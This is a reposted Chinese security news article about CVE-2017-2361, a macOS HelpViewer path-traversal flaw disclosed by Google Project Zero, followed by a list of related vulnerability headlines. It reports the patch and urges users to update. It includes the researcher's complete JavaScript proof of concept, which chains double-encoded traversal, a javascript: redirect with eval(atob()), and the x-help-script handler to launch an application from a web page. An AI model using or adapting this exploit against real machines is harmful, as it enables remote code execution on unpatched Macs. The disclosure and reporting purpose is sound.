神漏洞!macOS也能弹计算器,一行JS代码远程命令执行

本文讲的是神漏洞!macOS也能弹计算器,一行JS代码远程命令执行,最近,Google Project Zero公开披露了一个macOS系统的神漏洞,一行JS代码便可以让Mac电脑弹计算器。

这个神漏洞真的特别有趣,研究员发现macOS的内置应用HelpViewer有一个内部协议调用,可以打开本机上的任何文件,这个协议调用的路径检查有点缺陷,使用某些特定语法可以绕过,去打开攻击者指定的文件。

以上只能做到本地命令执行,研究员想了个法子,用JS代码去调用HelpViewer打开文件,间接做到远程执行。如果用户打开的某个网页中含有这段JS代码,那么这台Mac就被轻轻松松控制了。

(图:根据研究员放出的poc代码,嘶吼在内部的电脑上成功演示)

该漏洞由Project Zero研究员、韩国安全天才lokihardt于去年12月发现,漏洞编号为CVE-2017-2361。苹果公司在今年1月23日更新的macOS 10.12.3修复了漏洞,大家更新到最新版即可不受影响。

顺便说下,“弹计算器”是安全圈的一种文化,表示用作演示的漏洞可以做到命令执行,完全控制这台电脑。过去,这种演示经常在Windows电脑上演,Mac、Linux被认为比Windows要安全很多。但随着近几年Mac电脑用户不断增多,盯着它的人多了,这类安全漏洞还将不断曝光,Mac用户过往那种“虚假”的安全感是时候收一收了。

嘶吼在此建议,普通Mac电脑用户应及时更新电脑系统,避免遭受损失。

附lokihardt提供的poc代码,大家自己玩一下就行,不要做坏事哦:

<script>

/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).

*/

function main() {
    function second() {
        var f = document.createElement("iframe");
        f.onload = () => {
            f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
        };

        f.src = "help:openbook=com.apple.safari.help";

        document.documentElement.appendChild(f);
    }

    var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));nsecond();";

    document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}

main();

</script>

原文发布时间为:2017年3月21日

本文作者:longye

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-12-03 02:14:33

神漏洞!macOS也能弹计算器,一行JS代码远程命令执行的相关文章

NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的NSA(美国国家安全局)黑客工具.这批黑客工具中含有可以配合使用的一个攻击框架和多个攻击漏洞.这次的工具主要面向的是Windows系统,攻击框架非常易用,漏洞也大都是核弹级别的RCE(远程命令执行),配合框架和漏洞,可以非常容易地在存在漏洞的 Windows 主机上执行命令.植入后门.一时间,各路选手

又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文件的漏洞攻击的研究分析,其中一次属于零日漏洞攻击. 今年3月开始,FireEye再一次在微软Office产品中陆续发现三个新的零日漏洞,发现时这些漏洞已被野外利用. 第一个漏洞出现在今年的3月下旬,CVE-2017-0261中描述了Office远程代码执行漏洞(RCE)漏洞,FireEye认为该漏洞

惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机

本文讲的是惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机,在各类企业.单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在.也许你体验到的是其便捷的一面,但你是否了解其作为联网设备的危害在哪里呢?仔细回想一下,你上一次更新它的固件是什么时候?你是否了解过打印机所存在的那些漏洞? 出于对打印机安全性的好奇,我们购买了几台打印机(HP OfficeJet Pro 8210).事实上,在买的时候我们一直祈祷其那些易受攻击的固件仍然存在,否则你肯定无法想象你需要多少时间来进行回溯.幸运的是

程序猿(媛)们注意啦!Git、SVN、Mercurial版本控制系统被爆远程命令执行漏洞

近日,三款主流的源版本控制系统Git.Subversion (svn).Mercurial,发布了更新补丁,修复了一个客户端代码执行漏洞. 恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码. 该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告.具体详情如下: 漏洞编号: Git: CVE-2017-1000117 Apache S

哪位大神帮我解释一下这两句js代码

问题描述 哪位大神帮我解释一下这两句js代码 想问一下 var reader = new FileReader();和 reader.onload = function(){}是什么意思? 一般用var reader = new FileReader()的时候,new后面一般是函数方法,但是这里的FileReader():在上下文中并没有找到这个方法. var fileInput = document.createElement('input'); fileInput.setAttribute(

PayPal远程命令执行漏洞分析

2015年12月,笔者在PayPal的某个分站中发现了一个能够远程执行任意shell命令的java反序列化漏洞,并且能够影响到PayPal的产品数据库.我马上将该漏洞提交给了PayPal,并且很快得到了修复. 漏洞细节 在测试manager.paypal.com这个站点时,我的注意力被post提交中的不寻常的参数"oldForm"所吸引,这个参数的内容就像是base64解码后的复杂对象. 在经过一些研究之后,我意识到这就是能被应用处理的没有经过签名的java序列化对象.这意味着你能将存

Bash远程命令执行漏洞(CVE-2014-6271)分析利用

这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271),昨天参加完isc,晚上回家测试了一下,写了个python版本的测试小基本,贴上代码: #coding:utf-8 import urllib,httplib import sys,re,urlparse #author:nx4dm1n #website:www.nxadmin.com def bash_exp(url): urlsp=urlparse.urlparse(url) hostname=urlsp.netloc ur

开发者论坛一周精粹(第四期):Windows系统 SMB/RDP远程命令执行漏洞

第四期(2017年4月8日-2017年4月14日 ) 2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确保您在阿里云上的业务安全,请您关注 [高危漏洞预警]Windows系统 SMB/RDP远程命令执行漏洞 作者:正禾 [漏洞公告]CVE-2016-10229:Linux 内核远程代码执行漏洞 作者:正禾 黑科技?告别幕布,阿里云备案可以"刷脸&q

开发者论坛一周精粹(第十三期):CVE-2017-9791:Struts(S2-048)远程命令执行漏洞

第十三期(2017年7月3日-2017年7月9日 ) 2017年7月7日,Apache Struts发布最新的安全公告,漏洞编号为S2-048,该漏洞存在Struts2和Struts1一个Showcase插件Action Message类中,通过构建不可信的输入实现远程命令攻击,存在安全风险. [漏洞公告]CVE-2017-9791:Struts(S2-048)远程命令执行漏洞 https://bbs.aliyun.com/read/321149.html [漏洞公告]CVE-2017-3143